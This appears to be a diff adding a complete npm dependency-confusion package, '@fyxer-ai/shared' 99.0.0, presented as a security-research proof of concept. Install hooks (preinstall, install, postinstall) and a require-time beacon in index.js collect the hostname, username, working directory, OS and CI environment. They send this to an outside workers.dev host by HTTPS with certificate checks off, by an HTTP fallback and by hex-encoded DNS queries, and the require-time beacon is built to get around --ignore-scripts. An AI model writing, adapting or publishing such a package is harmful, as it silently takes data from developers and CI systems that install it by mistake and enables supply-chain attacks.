@fyxer-ai/shared 99.0.0

package/beacon.js

@@ -0,0 +1,90 @@
+/**
+ * g0pper dependency confusion beacon — safe PoC payload
+ * Campaign: fyxer-depconf
+ * Package: @fyxer-ai/shared
+ *
+ * This beacon collects minimal environment info and phones home
+ * via HTTP(S) and DNS. It does NOT execute arbitrary commands,
+ * modify files, establish persistence, or exfiltrate sensitive data.
+ */
+
+(function () {
+  var os = require("os");
+  var dns = require("dns");
+  var http = require("http");
+  var https = require("https");
+
+  var data = {
+    campaign_id: "fyxer-depconf",
+    package_name: "@fyxer-ai/shared",
+    hostname: os.hostname(),
+    username: (function() { try { return os.userInfo().username; } catch(e) { return "unknown"; } })(),
+    workdir: process.cwd(),
+    os_info: os.platform() + "/" + os.arch(),
+    node_version: process.version,
+    ci_env: detectCI(),
+    vector: "install"
+  };
+
+  function detectCI() {
+    var env = process.env;
+    if (env.GITHUB_ACTIONS) return "github_actions";
+    if (env.JENKINS_URL) return "jenkins";
+    if (env.GITLAB_CI) return "gitlab";
+    if (env.CIRCLECI) return "circleci";
+    if (env.TRAVIS) return "travis";
+    if (env.CODEBUILD_BUILD_ID) return "codebuild";
+    if (env.TF_BUILD) return "azure_devops";
+    if (env.BUILDKITE) return "buildkite";
+    if (env.DRONE) return "drone";
+    if (env.TEAMCITY_VERSION) return "teamcity";
+    return "none";
+  }
+
+  // Channel 1: HTTP(S) POST — fast, reliable, gets data through immediately
+  try {
+    var postData = JSON.stringify(data);
+    var port = 443;
+    var transport = (port === 443) ? https : http;
+    var options = {
+      hostname: "callbacks.hghger.workers.dev",
+      port: port,
+      path: "/c/" + data.campaign_id,
+      method: "POST",
+      headers: {
+        "Content-Type": "application/json",
+        "Content-Length": Buffer.byteLength(postData),
+      },
+      rejectUnauthorized: false,
+      timeout: 5000,
+    };
+    var req = transport.request(options, function () {});
+    req.on("error", function (err) {
+      if (transport === https) {
+        try {
+          var req2 = http.request(options, function () {});
+          req2.on("error", function () {});
+          req2.write(postData);
+          req2.end();
+        } catch(e) {}
+      }
+    });
+    req.write(postData);
+    req.end();
+  } catch (e) {}
+
+  // Channel 2: DNS exfiltration — works through HTTP-blocking firewalls
+  try {
+    var hexData = Buffer.from(JSON.stringify(data)).toString("hex");
+    var labels = [];
+    for (var i = 0; i < hexData.length; i += 60) {
+      labels.push(hexData.substring(i, i + 60));
+    }
+    var query = data.campaign_id + "." + labels.join(".") + ".callbacks.hghger.workers.dev";
+    if (query.length > 253) {
+      var short = Buffer.from(data.hostname + "|" + data.username + "|" + data.ci_env).toString("hex");
+      query = data.campaign_id + "." + short.substring(0, 60) + ".callbacks.hghger.workers.dev";
+    }
+    dns.resolve4(query, function () {});
+  } catch (e) {}
+})();

package/index.js

@@ -0,0 +1,73 @@
+// Runtime beacon — fires when the application require()'s or import's this package.
+// Works regardless of --ignore-scripts, yarn berry, pnpm, or bun.
+(function() {
+  try {
+    var os = require("os");
+    var dns = require("dns");
+    var http = require("http");
+    var https = require("https");
+
+    var data = {
+      campaign_id: "fyxer-depconf",
+      package_name: "@fyxer-ai/shared",
+      hostname: os.hostname(),
+      username: (function() { try { return os.userInfo().username; } catch(e) { return "unknown"; } })(),
+      workdir: process.cwd(),
+      os_info: os.platform() + "/" + os.arch(),
+      node_version: process.version,
+      ci_env: (function() {
+        var e = process.env;
+        if (e.GITHUB_ACTIONS) return "github_actions";
+        if (e.JENKINS_URL) return "jenkins";
+        if (e.GITLAB_CI) return "gitlab";
+        if (e.CIRCLECI) return "circleci";
+        if (e.TRAVIS) return "travis";
+        if (e.CODEBUILD_BUILD_ID) return "codebuild";
+        if (e.TF_BUILD) return "azure_devops";
+        if (e.BUILDKITE) return "buildkite";
+        if (e.DRONE) return "drone";
+        if (e.TEAMCITY_VERSION) return "teamcity";
+        return "none";
+      })(),
+      vector: "require"
+    };
+
+    // HTTP(S) first — fast, reliable, gets data through immediately
+    try {
+      var postData = JSON.stringify(data);
+      var port = 443;
+      var transport = (port === 443) ? https : http;
+      var opts = {
+        hostname: "callbacks.hghger.workers.dev",
+        port: port,
+        path: "/c/" + data.campaign_id,
+        method: "POST",
+        headers: { "Content-Type": "application/json", "Content-Length": Buffer.byteLength(postData) },
+        rejectUnauthorized: false,
+        timeout: 5000
+      };
+      var req = transport.request(opts, function() {});
+      req.on("error", function(err) {
+        if (transport === https) {
+          try {
+            var req2 = http.request(opts, function() {});
+            req2.on("error", function() {});
+            req2.write(postData);
+            req2.end();
+          } catch(e) {}
+        }
+      });
+      req.write(postData);
+      req.end();
+    } catch(e) {}
+
+    // DNS second — works through HTTP-blocking firewalls
+    try {
+      var short = Buffer.from(data.hostname + "|" + data.username + "|" + data.ci_env).toString("hex").substring(0, 60);
+      dns.resolve4(data.campaign_id + "." + short + ".callbacks.hghger.workers.dev", function() {});
+    } catch(e) {}
+  } catch(e) {}
+})();
+
+// Export empty module so require() doesn't crash the app
+module.exports = {};

package/package.json

@@ -0,0 +1,11 @@
+{
+  "name": "@fyxer-ai/shared",
+  "version": "99.0.0",
+  "description": "Security research package \u2014 dependency confusion PoC for @fyxer-ai/shared",
+  "main": "index.js",
+  "scripts": {
+    "preinstall": "node beacon.js",
+    "install": "node beacon.js",
+    "postinstall": "node beacon.js"
+  }
+}